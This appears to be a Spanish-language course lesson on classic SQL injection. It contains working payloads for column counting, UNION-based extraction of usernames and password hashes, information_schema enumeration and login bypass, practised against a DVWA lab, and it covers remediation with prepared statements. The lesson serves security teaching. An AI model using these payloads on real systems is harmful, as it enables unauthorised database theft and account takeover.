Parte: 4 — Seguridad de aplicaciones web · Fuente: The Web Application Hacker's Handbook (Stuttard & Pinto) ⏱️ Duración estimada: 120 min · Nivel: Intermedio
Comprender a fondo la inyección SQL (SQLi): por qué ocurre, cómo detectarla y cómo explotarla en su forma clásica (in-band). Es la vulnerabilidad emblema de la categoría A03 Injection y una de las de mayor impacto: puede exponer bases de datos completas.
⚠️ Ética: todo lo aquí descrito se practica únicamente en laboratorios propios (DVWA, Juice Shop) o con autorización explícita por escrito. Inyectar SQL en sistemas ajenos es un delito.
Al finalizar, el alumno podrá:
UNION SELECT para extraer datos.| # | Tema | Por qué importa |
|---|---|---|
| 1 | Cómo se construye una query vulnerable | Es la causa raíz |
| 2 | Detección: comillas, errores, lógica | Confirmar el punto inyectable |
| 3 | UNION-based injection | Extracción directa de datos |
| 4 | Enumeración del esquema | Saber qué robar y de dónde |
| 5 | Bypass de autenticación con SQLi | Impacto inmediato |
| 6 | Comentarios y sintaxis por motor | MySQL, MSSQL, Postgres difieren |
| 7 | Remediación: prepared statements | Cierre correcto del fallo |
UNION SELECT para añadir filas controladas. Característica: requiere igualar número y tipo de columnas.--, #, /* */): trunca el resto de la query. Característica: clave para bypass de login.# DVWA con Docker
docker run --rm -d -p 80:80 vulnerables/web-dvwa
# Login por defecto admin/password, nivel de seguridad "Low"
⚠️ Solo en DVWA/Juice Shop propios.
1 y observa la consulta normal.1' y busca un error SQL: confirma que el input llega crudo a la query.1' ORDER BY 1-- -, ORDER BY 2-- -, hasta que falle.1' UNION SELECT user, password FROM users-- -
information_schema:1' UNION SELECT table_name, NULL FROM information_schema.tables-- -
admin'-- -.admin y crackéalo (offline, con hashcat) en tu lab.database().ORDER BY ayuda a contar columnas.Extrae todos los usuarios y hashes de la tabla users de DVWA vía UNION SQLi y luego reescribe la consulta backend de forma segura.
Criterio de aceptación: entregas el listado exfiltrado (evidencia), el payload UNION usado y el código corregido con prepared statements que impide la inyección.
| Síntoma / mensaje | Causa y cómo arreglar |
|---|---|
| "The used SELECT statements have a different number of columns" | Cuenta mal de columnas; ajusta el UNION |
| No hay error visible | Errores desactivados; pasa a blind (próxima clase) |
| Comilla escapada | Nivel Medium filtra '; prueba numérico o encoding |
| UNION devuelve tipos incompatibles | Usa NULL en columnas para igualar tipos |
| Bypass de login no funciona | Sintaxis de comentario incorrecta para el motor |
❓ ¿Los ORM me protegen? En gran medida, si usas sus métodos parametrizados. Pero el SQL crudo dentro de un ORM vuelve a ser vulnerable.
❓ ¿Escapar comillas es suficiente? No de forma fiable. La defensa correcta son las consultas parametrizadas; el escaping manual es propenso a errores.
❓ ¿Por qué information_schema es tan útil? Es el catálogo estándar que describe tablas y columnas; permite mapear la base de datos sin conocerla de antemano.
Clase 090 — Mapeo, spidering y descubrimiento de contenido